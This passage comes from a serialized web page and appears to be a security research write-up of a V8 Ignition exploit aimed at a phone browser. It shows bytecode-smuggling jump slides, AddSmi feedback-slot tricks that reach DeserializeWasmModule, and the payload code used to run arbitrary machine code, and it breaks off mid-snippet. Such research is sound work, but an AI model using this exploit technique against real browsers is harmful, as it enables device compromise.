8],{"type":27,"value":4312},{"type":22,"tag":264,"props":133820,"children":133821},{"style":4309},[133822],{"type":27,"value":52576},{"type":22,"tag":264,"props":133824,"children":133825},{"style":4344},[133826],{"type":27,"value":133745},{"type":22,"tag":264,"props":133828,"children":133829},{"style":1539},[133830],{"type":27,"value":4322},{"type":22,"tag":23,"props":133832,"children":133833},{},[133834],{"type":27,"value":133835},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":22,"tag":23,"props":133837,"children":133838},{},[133839],{"type":27,"value":133840},"We'll use a similar principle here, although much more limited. With",{"type":22,"tag":618,"props":133842,"children":133844},{"code":133843},"let a = 0x0693bebe;\n",[133845],{"type":22,"tag":257,"props":133846,"children":133847},{"__ignoreMap":7},[133848],{"type":27,"value":133843},{"type":22,"tag":23,"props":133850,"children":133851},{},[133852],{"type":27,"value":133853},"We will compile the bytecode:",{"type":22,"tag":618,"props":133855,"children":133857},{"code":133856},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[133858],{"type":22,"tag":257,"props":133859,"children":133860},{"__ignoreMap":7},[133861],{"type":27,"value":133856},{"type":22,"tag":23,"props":133863,"children":133864},{},[133865,133867,133873,133875,133881,133882,133888],{"type":27,"value":133866},"We can then jump to the 3rd byte (",{"type":22,"tag":257,"props":133868,"children":133870},{"className":133869},[],[133871],{"type":27,"value":133872},"0xbe",{"type":27,"value":133874},"), and gain 2 controlled bytes of execution, followed by ",{"type":22,"tag":257,"props":133876,"children":133878},{"className":133877},[],[133879],{"type":27,"value":133880},"0x93 0x02 - 0xf",{"type":27,"value":4370},{"type":22,"tag":257,"props":133883,"children":133885},{"className":133884},[],[133886],{"type":27,"value":133887},"Jump +[2-15]",{"type":27,"value":133889},") to jump into the next constant.",{"type":22,"tag":23,"props":133891,"children":133892},{},[133893,133895,133901,133903,133909,133911,133917],{"type":27,"value":133894},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":22,"tag":257,"props":133896,"children":133898},{"className":133897},[],[133899],{"type":27,"value":133900},"StarX",{"type":27,"value":133902}," instructions, registers 16-121 resulted in two bytes ",{"type":22,"tag":257,"props":133904,"children":133906},{"className":133905},[],[133907],{"type":27,"value":133908},"Star rX",{"type":27,"value":133910}," instructions, and the next batch resulted in 4 byte ",{"type":22,"tag":257,"props":133912,"children":133914},{"className":133913},[],[133915],{"type":27,"value":133916},"Star.ExtraWide rX",{"type":27,"value":133918}," instructions.",{"type":22,"tag":23,"props":133920,"children":133921},{},[133922,133924,133930],{"type":27,"value":133923},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":22,"tag":257,"props":133925,"children":133927},{"className":133926},[],[133928],{"type":27,"value":133929},"0x8931111",{"type":27,"value":5785},{"type":22,"tag":618,"props":133932,"children":133934},{"code":133933,"language":32680,"meta":7,"className":32678,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[133935],{"type":22,"tag":257,"props":133936,"children":133937},{"__ignoreMap":7},[133938,133963,133987,134011,134035,134059,134083],{"type":22,"tag":264,"props":133939,"children":133940},{"class":1534,"line":1535},[133941,133945,133950,133954,133959],{"type":22,"tag":264,"props":133942,"children":133943},{"style":4293},[133944],{"type":27,"value":13086},{"type":22,"tag":264,"props":133946,"children":133947},{"style":1549},[133948],{"type":27,"value":133949}," a206",{"type":22,"tag":264,"props":133951,"children":133952},{"style":4309},[133953],{"type":27,"value":4312},{"type":22,"tag":264,"props":133955,"children":133956},{"style":4344},[133957],{"type":27,"value":133958}," 0x8931111",{"type":22,"tag":264,"props":133960,"children":133961},{"style":1539},[133962],{"type":27,"value":4322},{"type":22,"tag":264,"props":133964,"children":133965},{"class":1534,"line":1545},[133966,133970,133975,133979,133983],{"type":22,"tag":264,"props":133967,"children":133968},{"style":4293},[133969],{"type":27,"value":13086},{"type":22,"tag":264,"props":133971,"children":133972},{"style":1549},[133973],{"type":27,"value":133974}," a207",{"type":22,"tag":264,"props":133976,"children":133977},{"style":4309},[133978],{"type":27,"value":4312},{"type":22,"tag":264,"props":133980,"children":133981},{"style":4344},[133982],{"type":27,"value":133958},{"type":22,"tag":264,"props":133984,"children":133985},{"style":1539},[133986],{"type":27,"value":4322},{"type":22,"tag":264,"props":133988,"children":133989},{"class":1534,"line":1560},[133990,133994,133999,134003,134007],{"type":22,"tag":264,"props":133991,"children":133992},{"style":4293},[133993],{"type":27,"value":13086},{"type":22,"tag":264,"props":133995,"children":133996},{"style":1549},[133997],{"type":27,"value":133998}," a208",{"type":22,"tag":264,"props":134000,"children":134001},{"style":4309},[134002],{"type":27,"value":4312},{"type":22,"tag":264,"props":134004,"children":134005},{"style":4344},[134006],{"type":27,"value":133958},{"type":22,"tag":264,"props":134008,"children":134009},{"style":1539},[134010],{"type":27,"value":4322},{"type":22,"tag":264,"props":134012,"children":134013},{"class":1534,"line":1569},[134014,134018,134023,134027,134031],{"type":22,"tag":264,"props":134015,"children":134016},{"style":4293},[134017],{"type":27,"value":13086},{"type":22,"tag":264,"props":134019,"children":134020},{"style":1549},[134021],{"type":27,"value":134022}," a209",{"type":22,"tag":264,"props":134024,"children":134025},{"style":4309},[134026],{"type":27,"value":4312},{"type":22,"tag":264,"props":134028,"children":134029},{"style":4344},[134030],{"type":27,"value":133958},{"type":22,"tag":264,"props":134032,"children":134033},{"style":1539},[134034],{"type":27,"value":4322},{"type":22,"tag":264,"props":134036,"children":134037},{"class":1534,"line":1583},[134038,134042,134047,134051,134055],{"type":22,"tag":264,"props":134039,"children":134040},{"style":4293},[134041],{"type":27,"value":13086},{"type":22,"tag":264,"props":134043,"children":134044},{"style":1549},[134045],{"type":27,"value":134046}," a210",{"type":22,"tag":264,"props":134048,"children":134049},{"style":4309},[134050],{"type":27,"value":4312},{"type":22,"tag":264,"props":134052,"children":134053},{"style":4344},[134054],{"type":27,"value":133958},{"type":22,"tag":264,"props":134056,"children":134057},{"style":1539},[134058],{"type":27,"value":4322},{"type":22,"tag":264,"props":134060,"children":134061},{"class":1534,"line":1603},[134062,134066,134071,134075,134079],{"type":22,"tag":264,"props":134063,"children":134064},{"style":4293},[134065],{"type":27,"value":13086},{"type":22,"tag":264,"props":134067,"children":134068},{"style":1549},[134069],{"type":27,"value":134070}," a211",{"type":22,"tag":264,"props":134072,"children":134073},{"style":4309},[134074],{"type":27,"value":4312},{"type":22,"tag":264,"props":134076,"children":134077},{"style":4344},[134078],{"type":27,"value":133958},{"type":22,"tag":264,"props":134080,"children":134081},{"style":1539},[134082],{"type":27,"value":4322},{"type":22,"tag":264,"props":134084,"children":134085},{"class":1534,"line":1612},[134086,134090,134095,134099,134103],{"type":22,"tag":264,"props":134087,"children":134088},{"style":4293},[134089],{"type":27,"value":13086},{"type":22,"tag":264,"props":134091,"children":134092},{"style":1549},[134093],{"type":27,"value":134094}," a212",{"type":22,"tag":264,"props":134096,"children":134097},{"style":4309},[134098],{"type":27,"value":4312},{"type":22,"tag":264,"props":134100,"children":134101},{"style":4344},[134102],{"type":27,"value":133958},{"type":22,"tag":264,"props":134104,"children":134105},{"style":1539},[134106],{"type":27,"value":4322},{"type":22,"tag":23,"props":134108,"children":134109},{},[134110],{"type":27,"value":134111},"Those instructions result in:",{"type":22,"tag":618,"props":134113,"children":134115},{"code":134114},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[134116],{"type":22,"tag":257,"props":134117,"children":134118},{"__ignoreMap":7},[134119],{"type":27,"value":134114},{"type":22,"tag":23,"props":134121,"children":134122},{},[134123,134125,134131,134133,134137],{"type":27,"value":134124},"(The offset of ",{"type":22,"tag":257,"props":134126,"children":134128},{"className":134127},[],[134129],{"type":27,"value":134130},"Jump",{"type":27,"value":134132}," instructions is added to the ",{"type":22,"tag":1699,"props":134134,"children":134135},{},[134136],{"type":27,"value":72415},{"type":27,"value":134138}," of the instruction.)",{"type":22,"tag":23,"props":134140,"children":134141},{},[134142,134144,134150],{"type":27,"value":134143},"Now, 3 out of the 6 bytes in a ",{"type":22,"tag":257,"props":134145,"children":134147},{"className":134146},[],[134148],{"type":27,"value":134149},"LdaSmi.ExtraWide",{"type":27,"value":134151}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":22,"tag":181,"props":134153,"children":134155},{"id":134154},"exploit-goal",[134156],{"type":27,"value":134157},"Exploit Goal",{"type":22,"tag":23,"props":134159,"children":134160},{},[134161,134163,134169,134170,134176],{"type":27,"value":134162},"Initially we considered using ",{"type":22,"tag":257,"props":134164,"children":134166},{"className":134165},[],[134167],{"type":27,"value":134168},"Star",{"type":27,"value":2891},{"type":22,"tag":257,"props":134171,"children":134173},{"className":134172},[],[134174],{"type":27,"value":134175},"Ldar",{"type":27,"value":134177}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":22,"tag":23,"props":134179,"children":134180},{},[134181,134183,134190],{"type":27,"value":134182},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":22,"tag":69,"props":134184,"children":134187},{"href":134185,"rel":134186},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[73],[134188],{"type":27,"value":134189},"stack pivot and ROP",{"type":27,"value":134191},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":22,"tag":23,"props":134193,"children":134194},{},[134195],{"type":27,"value":134196},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":22,"tag":23,"props":134198,"children":134199},{},[134200],{"type":27,"value":134201},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":22,"tag":23,"props":134203,"children":134204},{},[134205,134207,134213,134215,134221,134223,134229],{"type":27,"value":134206},"At this point, we identified an interesting opcode: ",{"type":22,"tag":257,"props":134208,"children":134210},{"className":134209},[],[134211],{"type":27,"value":134212},"CallRuntime",{"type":27,"value":134214},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":22,"tag":257,"props":134216,"children":134218},{"className":134217},[],[134219],{"type":27,"value":134220},"--allow-natives-syntax",{"type":27,"value":134222}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":22,"tag":257,"props":134224,"children":134226},{"className":134225},[],[134227],{"type":27,"value":134228},"DeserializeWasmModule",{"type":27,"value":210},{"type":22,"tag":23,"props":134231,"children":134232},{},[134233,134235,134242,134243,134248,134249,134255,134257,134264],{"type":27,"value":134234},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":22,"tag":69,"props":134236,"children":134239},{"href":134237,"rel":134238},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[73],[134240],{"type":27,"value":134241},"JIT-compiled functions",{"type":27,"value":19835},{"type":22,"tag":257,"props":134244,"children":134246},{"className":134245},[],[134247],{"type":27,"value":134228},{"type":27,"value":2891},{"type":22,"tag":257,"props":134250,"children":134252},{"className":134251},[],[134253],{"type":27,"value":134254},"SerializeWasmModule",{"type":27,"value":134256}," themselves are only used from test functions, and indeed have been ",{"type":22,"tag":69,"props":134258,"children":134261},{"href":134259,"rel":134260},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[73],[134262],{"type":27,"value":134263},"removed",{"type":27,"value":134265}," from recent production V8 builds due to how abusable this functionality is.",{"type":22,"tag":23,"props":134267,"children":134268},{},[134269,134271,134277,134279,134285,134287,134292,134294,134300,134302,134307,134308,134313,134314,134319,134321,134327,134329,134333],{"type":27,"value":134270},"However, calling this opcode represented a significant challenge:\n",{"type":22,"tag":257,"props":134272,"children":134274},{"className":134273},[],[134275],{"type":27,"value":134276},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":27,"value":134278},"\nWhere ",{"type":22,"tag":257,"props":134280,"children":134282},{"className":134281},[],[134283],{"type":27,"value":134284},"func-id",{"type":27,"value":134286}," is a 2-byte function ID, ",{"type":22,"tag":257,"props":134288,"children":134290},{"className":134289},[],[134291],{"type":27,"value":39542},{"type":27,"value":134293}," is the index of the last register passed and ",{"type":22,"tag":257,"props":134295,"children":134297},{"className":134296},[],[134298],{"type":27,"value":134299},"argc",{"type":27,"value":134301}," is the number of arguments passed (e.g. passing ",{"type":22,"tag":257,"props":134303,"children":134305},{"className":134304},[],[134306],{"type":27,"value":45700},{"type":27,"value":4380},{"type":22,"tag":257,"props":134309,"children":134311},{"className":134310},[],[134312],{"type":27,"value":45843},{"type":27,"value":12290},{"type":22,"tag":257,"props":134315,"children":134317},{"className":134316},[],[134318],{"type":27,"value":45826},{"type":27,"value":134320}," would be encoded as ",{"type":22,"tag":257,"props":134322,"children":134324},{"className":134323},[],[134325],{"type":27,"value":134326},"\u003Cr2> \u003C3>",{"type":27,"value":134328},").\nThis requires ",{"type":22,"tag":1699,"props":134330,"children":134331},{},[134332],{"type":27,"value":885},{"type":27,"value":134334}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":22,"tag":181,"props":134336,"children":134338},{"id":134337},"better-bytecode-control",[134339],{"type":27,"value":134340},"Better Bytecode Control",{"type":22,"tag":23,"props":134342,"children":134343},{},[134344,134346,134353,134355,134361],{"type":27,"value":134345},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":22,"tag":69,"props":134347,"children":134350},{"href":134348,"rel":134349},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[73],[134351],{"type":27,"value":134352},"feedback vector slot",{"type":27,"value":134354},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":22,"tag":257,"props":134356,"children":134358},{"className":134357},[],[134359],{"type":27,"value":134360},"AddSmi",{"type":27,"value":134362}," instruction, it represents the number of operations performed on the target value so far.",{"type":22,"tag":23,"props":134364,"children":134365},{},[134366],{"type":27,"value":134367},"For example, we can look at the below Ignition disassembly:",{"type":22,"tag":618,"props":134369,"children":134371},{"code":134370},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[134372],{"type":22,"tag":257,"props":134373,"children":134374},{"__ignoreMap":7},[134375],{"type":27,"value":134370},{"type":22,"tag":23,"props":134377,"children":134378},{},[134379,134381,134387],{"type":27,"value":134380},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":22,"tag":257,"props":134382,"children":134384},{"className":134383},[],[134385],{"type":27,"value":134386},"AddSmi.ExtraWide",{"type":27,"value":134388},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":22,"tag":23,"props":134390,"children":134391},{},[134392],{"type":27,"value":134393},"Eventually, we can reach a stage like this:",{"type":22,"tag":618,"props":134395,"children":134397},{"code":134396},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[134398],{"type":22,"tag":257,"props":134399,"children":134400},{"__ignoreMap":7},[134401],{"type":27,"value":134396},{"type":22,"tag":23,"props":134403,"children":134404},{},[134405],{"type":27,"value":134406},"If you skip the first two bytes, you have",{"type":22,"tag":17988,"props":134408,"children":134409},{},[134410,134441],{"type":22,"tag":1871,"props":134411,"children":134412},{},[134413,134418,134420,134425,134427,134433,134435],{"type":22,"tag":257,"props":134414,"children":134416},{"className":134415},[],[134417],{"type":27,"value":134212},{"type":27,"value":134419}," (0x6c) to ",{"type":22,"tag":257,"props":134421,"children":134423},{"className":134422},[],[134424],{"type":27,"value":134228},{"type":27,"value":134426}," (0x0266) starting from register ",{"type":22,"tag":257,"props":134428,"children":134430},{"className":134429},[],[134431],{"type":27,"value":134432},"a2",{"type":27,"value":134434}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":22,"tag":257,"props":134436,"children":134438},{"className":134437},[],[134439],{"type":27,"value":134440},"DeserializeWasmModule(a2, a1)",{"type":22,"tag":1871,"props":134442,"children":134443},{},[134444],{"type":27,"value":134445},"a Jump instruction",{"type":22,"tag":181,"props":134447,"children":134449},{"id":134448},"returning-back-to-js",[134450],{"type":27,"value":134451},"Returning Back to JS",{"type":22,"tag":23,"props":134453,"children":134454},{},[134455,134457,134463],{"type":27,"value":134456},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":22,"tag":257,"props":134458,"children":134460},{"className":134459},[],[134461],{"type":27,"value":134462},"yield",{"type":27,"value":134464}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":22,"tag":23,"props":134466,"children":134467},{},[134468],{"type":27,"value":134469},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":22,"tag":618,"props":134471,"children":134473},{"code":134472,"language":32680,"meta":7,"className":32678,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[134474],{"type":22,"tag":257,"props":134475,"children":134476},{"__ignoreMap":7},[134477,134488,134536,134557,134573,134596,134624,134641],{"type":22,"tag":264,"props":134478,"children":134479},{"class":1534,"line":1535},[134480,134484],{"type":22,"tag":264,"props":134481,"children":134482},{"style":4328},[134483],{"type":27,"value":49651},{"type":22,"tag":264,"props":134485,"children":134486},{"style":1539},[134487],{"type":27,"value":4594},{"type":22,"tag":264,"props":134489,"children":134490},{"class":1534,"line":1545},[134491,134496,134500,134505,134509,134514,134518,134523,134527,134531],{"type":22,"tag":264,"props":134492,"children":134493},{"style":1549},[134494],{"type":27,"value":134495},"  $",{"type":22,"tag":264,"props":134497,"children":134498},{"style":1539},[134499],{"type":27,"value":77944},{"type":22,"tag":264,"props":134501,"children":134502},{"style":1597},[134503],{"type":27,"value":134504},"'a1 + 0xa931111;'",{"type":22,"tag":264,"props":134506,"children":134507},{"style":1539},[134508],{"type":27,"value":210},{"type":22,"tag":264,"props":134510,"children":134511},{"style":4401},[134512],{"type":27,"value":134513},"repeat",{"type":22,"tag":264,"props":134515,"children":134516},{"style":1539},[134517],{"type":27,"value":2660},{"type":22,"tag":264,"props":134519,"children":134520},{"style":4344},[134521],{"type":27,"value":134522},"0x059302",{"type":22,"tag":264,"props":134524,"children":134525},{"style":4309},[134526],{"type":27,"value":52576},{"type":22,"tag":264,"props":134528,"children":134529},{"style":4344},[134530],{"type":27,"value":5817},{"type":22,"tag":264,"props":134532,"children":134533},{"style":1539},[134534],{"type":27,"value":134535},")}\n",{"type":22,"tag":264,"props":134537,"children":134538},{"class":1534,"line":1560},[134539,134544,134548,134553],{"type":22,"tag":264,"props":134540,"children":134541},{"style":1549},[134542],{"type":27,"value":134543},"  a1",{"type":22,"tag":264,"props":134545,"children":134546},{"style":4309},[134547],{"type":27,"value":10200},{"type":22,"tag":264,"props":134549,"children":134550},{"style":4344},[134551],{"type":27,"value":134552}," 0x0402666c",{"type":22,"tag":264,"props":134554,"children":134555},{"style":1539},[134556],{"type":27,"value":4322},{"type":22,"tag":264,"props":134558,"children":134559},{"class":1534,"line":1569},[134560,134564,134569],{"type":22,"tag":264,"props":134561,"children":134562},{"style":4328},[134563],{"type":27,"value":36516},{"type":22,"tag":264,"props":134565,"children":134566},{"style":4344},[134567],{"type":27,"value":134568}," 0x393e91a",{"type":22,"tag":264,"props":134570,"children":134571},{"style":1539},[134572],{"type":27,"value":4322},{"type":22,"tag":264,"props":134574,"children":134575},{"class":1534,"line":1583},[134576,134580,134584,134588,134592],{"type":22,"tag":264,"props":134577,"children":134578},{"style":1539},[134579],{"type":27,"value":48193},{"type":22,"tag":264,"props":134581,"children":134582},{"style":4328},[134583],{"type":27,"value":49731},{"type":22,"tag":264,"props":134585,"children":134586},{"style":1539},[134587],{"type":27,"value":4370},{"type":22,"tag":264,"props":134589,"children":134590},{"style":1549},[134591],{"type":27,"value":52775},{"type":22,"tag":264,"props":134593,"children":134594},{"style":1539},[134595],{"type":27,"value":16103},{"type":22,"tag":264,"props":134597,"children":134598},{"class":1534,"line":1603},[134599,134603,134607,134611,134615,134620],{"type":22,"tag":264,"props":134600,"children":134601},{"style":1549},[134602],{"type":27,"value":103265},{"type":22,"tag":264,"props":134604,"children":134605},{"style":1539},[134606],{"type":27,"value":210},{"type":22,"tag":264,"props":134608,"children":134609},{"style":4401},[134610],{"type":27,"value":103274},{"type":22,"tag":264,"props":134612,"children":134613},{"style":1539},[134614],{"type":27,"value":2660},{"type":22,"tag":264,"props":134616,"children":134617},{"style":1597},[134618],{"type":27,"value":134619},"\"foo\"",{"type":22,"tag":264,"props":134621,"children":134622},{"style":1539},[134623],{"type":27,"value":5142},{"type":22,"tag":264,"props":134625,"children":134626},{"class":1534,"line":1612},[134627,134632,134637],{"type":22,"tag":264,"props":134628,"children":134629},{"style":4328},[134630],{"type":27,"value":134631},"  yield",{"type":22,"tag":264,"props":134633,"children":134634},{"style":1549},[134635],{"type":27,"value":134636}," a16",{"type":22,"tag":264,"props":134638,"children":134639},{"style":1539},[134640],{"type":27,"value":4322},{"type":22,"tag":264,"props":134642,"children":134643},{"class":1534,"line":1621},[134644],{"type":22,"tag":264,"props":134645,"children":134646},{"style":1539},[134647],{"type":27,"value":1692},{"type":22,"tag":23,"props":134649,"children":134650},{},[134651,134653],{"type":27,"value":134652},"Starting from the final ",{"type":22,"tag":257,"props":134654,"children":134656},{"className":134655},[],[134657],{"type":27,"value":134360},{"type":22,"tag":618,"props":134659,"children":134661},{"code":134660}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[134662],{"type":22,"tag":257,"props":134663,"children":134664},{"__ignoreMap":7},[134665],{"type":27,"value":134660},{"type":22,"tag":23,"props":134667,"children":134668},{},[134669,134671,134676,134678,134684],{"type":27,"value":134670},"The smuggled jump in ",{"type":22,"tag":257,"props":134672,"children":134674},{"className":134673},[],[134675],{"type":27,"value":134360},{"type":27,"value":134677}," will redirect us to ",{"type":22,"tag":257,"props":134679,"children":134681},{"className":134680},[],[134682],{"type":27,"value":134683},"1a e9 93 03",{"type":27,"value":134685},", which results in:",{"type":22,"tag":17988,"props":134687,"children":134688},{},[134689,134700],{"type":22,"tag":1871,"props":134690,"children":134691},{},[134692,134698],{"type":22,"tag":257,"props":134693,"children":134695},{"className":134694},[],[134696],{"type":27,"value":134697},"Star r16",{"type":27,"value":134699}," (store accumulator to r16)",{"type":22,"tag":1871,"props":134701,"children":134702},{},[134703,134708],{"type":22,"tag":257,"props":134704,"children":134706},{"className":134705},[],[134707],{"type":27,"value":134130},{"type":27,"value":134709}," past the throw into the catch relevant code",{"type":22,"tag":23,"props":134711,"children":134712},{},[134713,134715,134721],{"type":27,"value":134714},"This will bring us nicely to the final ",{"type":22,"tag":257,"props":134716,"children":134718},{"className":134717},[],[134719],{"type":27,"value":134720},"yield a16",{"type":27,"value":134722},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":22,"tag":181,"props":134724,"children":134726},{"id":134725},"executing-shellcode",[134727],{"type":27,"value":134728},"Executing Shellcode",{"type":22,"tag":23,"props":134730,"children":134731},{},[134732],{"type":27,"value":134733},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":22,"tag":618,"props":134735,"children":134737},{"code":134736,"language":36930,"meta":7,"className":36928,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[134738],{"type":22,"tag":257,"props":134739,"children":134740},{"__ignoreMap":7},[134741,134771,134998,135066,135073,135118,135164,135204,135211,135235,135272,135308],{"type":22,"tag":264,"props":134742,"children":134743},{"class":1534,"line":1535},[134744,134748,134753,134757,134761,134766],{"type":22,"tag":264,"props":134745,"children":134746},{"style":4293},[134747],{"type":27,"value":36361},{"type":22,"tag":264,"props":134749,"children":134750},{"style":1549},[134751],{"type":27,"value":134752}," wasm_code",{"type":22,"tag":264,"props":134754,"children":134755},{"style":4309},[134756],{"type":27,"value":4312},{"type":22,"tag":264,"props":134758,"children":134759},{"style":4293},[134760],{"type":27,"value":33248},{"type":22,"tag":264,"props":134762,"children":134763},{"style":4401},[134764],{"type":27,"value":134765}," Uint8Array",{"type":22,"tag":264,"props":134767,"children":134768},{"style":1539},[134769],{"type":27,"value":134770},"([\n",{"type":22,"tag":264,"props":134772,"children":134773},{"class":1534,"line":1545},[134774,134779,134783,134788,134792,134797,134801,134806,134810,134814,134818,134822,134826,134830,134834,134838,134842,134846,134850,134854,134858,134862,134866,134871,134875,134879,134883,134887,134891,134895,134899,134903,134907,134911,134915,134919,134923,134927,134931,134935,134939,134943,134947,134951,134955,134959,134963,134968,134972,134977,134981,134986,134990,134994],{"type":22,"tag":264,"props":134775,"children":134776},{"style":4344},[134777],{"type":27,"value":134778},"  0",{"type":22,"tag":264,"props":134780,"children":134781},{"style":1539},[134782],{"type":27,"value":4380},{"type":22,"tag":264,"props":134784,"children":134785},{"style":4344},[134786],{"type":27,"value":134787},"97",{"type":22,"tag":264,"props":134789,"children":134790},{"style":1539},[134791],{"type":27,"value":4380},{"type":22,"tag":264,"props":134793,"children":134794},{"style":4344},[134795],{"type":27,"value":134796},"115",{"type":22,"tag":264,"props":134798,"children":134799},{"style":1539},[134800],{"type":27,"value":4380},{"type":22,"tag":264,"props":134802,"children":134803},{"style":4344},[134804],{"type":27,"value":134805},"109",{"type":22,"tag":264,"props":134807,"children":134808},{"style":1539},[134809],{"type":27,"value":4380},{"type":22,"tag":264,"props":134811,"children":134812},{"style":4344},[134813],{"type":27,"value":602},{"type":22,"tag":264,"props":134815,"children":134816},{"style":1539},[134817],{"type":27,"value":4380},{"type":22,"tag":264,"props":134819,"children":134820},{"style":4344},[134821],{"type":27,"value":5334},{"type":22,"tag":264,"props":134823,"children":134824},{"style":1539},[134825],{"type":27,"value":4380},{"type":22,"tag":264,"props":134827,"children":134828},{"style":4344},[134829],{"type":27,"value":5334},{"type":22,"tag":264,"props":134831,"children":134832},{"style":1539},[134833],{"type":27,"value":4380},{"type":22,"tag":264,"props":134835,"children":134836},{"style":4344},[134837],{"type":27,"value":5334},{"type":22,"tag":264,"props":134839,"children":134840},{"style":1539},[134841],{"type":27,"value":4380},{"type":22,"tag":264,"props":134843,"children":134844},{"style":4344},[134845],{"type":27,"value":602},{"type":22,"tag":264,"props":134847,"children":134848},{"style":1539},[134849],{"type":27,"value":4380},{"type":22,"tag":264,"props":134851,"children":134852},{"style":4344},[134853],{"type":27,"value":18831},{"type":22,"tag":264,"props":134855,"children":134856},{"style":1539},[134857],{"type":27,"value":4380},{"type":22,"tag":264,"props":134859,"children":134860},{"style":4344},[134861],{"type":27,"value":602},{"type":22,"tag":264,"props":134863,"children":134864},{"style":1539},[134865],{"type":27,"value":4380},{"type":22,"tag":264,"props":134867,"children":134868},{"style":4344},[134869],{"type":27,"value":134870},"96",{"type":22,"tag":264,"props":134872,"children":134873},{"style":1539},[134874],{"type":27,"value":4380},{"type":22,"tag":264,"props":134876,"children":134877},{"style":4344},[134878],{"type":27,"value":5334},{"type":22,"tag":264,"props":134880,"children":134881},{"style":1539},[134882],{"type":27,"value":4380},{"type":22,"tag":264,"props":134884,"children":134885},{"style":4344},[134886],{"type":27,"value":5334},{"type":22,"tag":264,"props":134888,"children":134889},{"style":1539},[134890],{"type":27,"value":4380},{"type":22,"tag":264,"props":134892,"children":134893},{"style":4344},[134894],{"type":27,"value":18598},{"type":22,"tag":264,"props":134896,"children":134897},{"style":1539},[134898],{"type":27,"value":4380},{"type":22,"tag":264,"props":134900,"children":134901},{"style":4344},[134902],{"type":27,"value":3568},{"type":22,"tag":264,"props":134904,"children":134905},{"style":1539},[134906],{"type":27,"value":4380},{"type":22,"tag":264,"props":134908,"children":134909},{"style":4344},